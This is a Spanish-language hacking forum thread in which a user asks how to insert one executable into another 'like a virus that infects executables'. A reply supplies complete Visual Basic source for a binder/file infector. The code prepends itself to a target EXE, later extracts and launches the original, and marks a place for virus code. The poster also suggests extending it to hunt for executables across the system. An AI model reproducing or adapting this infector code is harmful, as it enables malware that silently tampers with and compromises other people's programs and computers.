wenas tngo una duda ^_^
toy haciendo ujn programa k lee un arxivo binario, pero lo k quiero es insertar ese binario en el propio programa dl VB, o sea quiero meter un exe a otro exe para k el exe 2º me lo sake, algo como un virus k infecta a los ejecutables, espero k me ayan entendido jaja
Pasate por aki e intenta entender el kodigo.... ;) ;) ;)
Salu2
Hendrix
dnde esta el link ¬¬ xk no veo nada :huh:xDDD
salu2
PD: alomejor no lo e pillao xDDD
:o :o :o :o xD xD xD tio, se me fue la olla...xD xD
http://foro.elhacker.net/index.php/topic,112661.0.html
Salu2
Espero que este codigo te sirva, lo hice hace un tiempo ya para experimentar. Funciona mas como binder, pero si tu objetivo es infectar EXEs lo podes modificar para que vaya buscando ejecutables por todo el sistema y un par de cosas mas.
Private Sub Form_Load()
Dim Datos As String
Dim Original As String
Dim Yo As String
Dim Result As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Abrimos el mismo programa
Yo = Input(LOF(1), 1) 'y ponemos el codigo en la variable 'Yo'
Close #1
Buff = Split(Yo, "----SEP----") 'Dividimos esa variable (espero que sepas como funciona el Split)
If UBound(Buff) > 0 Then 'Si se pudo dividir en mas de 1 pedazo (la variable Yo)
Result = Buff(1)
Open "C:\Resultado.exe" For Binary As #2 'abrimos un exe nuevo para introducir los datos
Put #2, , Result 'ponemos todo lo que hay DEBAJO del separador
Close #2
DoEvents
Shell "C:\Resultado.exe" 'abrimos el programa (el original)
MsgBox "Aca podemos poner el codigo del virus, o ponerlo al finall"
Unload Me 'nos cerramos(optativo xD)
Else 'si NO se pudo dividir, entonces es que no existe el separador. Lo creamos...
Open "C:\nylon.exe" For Binary As #3 'Abrimos el programa a infectar
Original = Input(LOF(3), 3) 'Guardamos el contenido en la variable 'Original'
Close #3
Datos = Yo & "----SEP----" & Original 'Esto es lo que vamos a introducir en el archivo a infectar (YO = Nuestro virus, SEP = Separador, Original = archivo verdadero (el que estamos infectando)
Open "C:\ProgramaAInfectar.exe" For Binary As #4 'abrimos el programa a infectar (modificar esta linea)
Put #4, , Datos 'metemos los datos que grabamos antes
Close #4
End If
End Sub
'Al final de todo el proceso, el programa quedaria asi:
'
'--------------------------
'Nuestro programa
'---SEPARADOR---
'Programa original
'--------------------------
'
'
'Entonces, cuando abrimos el programa infectado, se abre NUESTRO programa,
'este busca lo que hay debajo del separador y lo mete en un nuevo archivo,
'despues abrimos ese archivo y salimos.
'
'
' Un abrazo y suerte
'
'
'
' .NYlOn.
'
'¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ END ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
Saludos !.-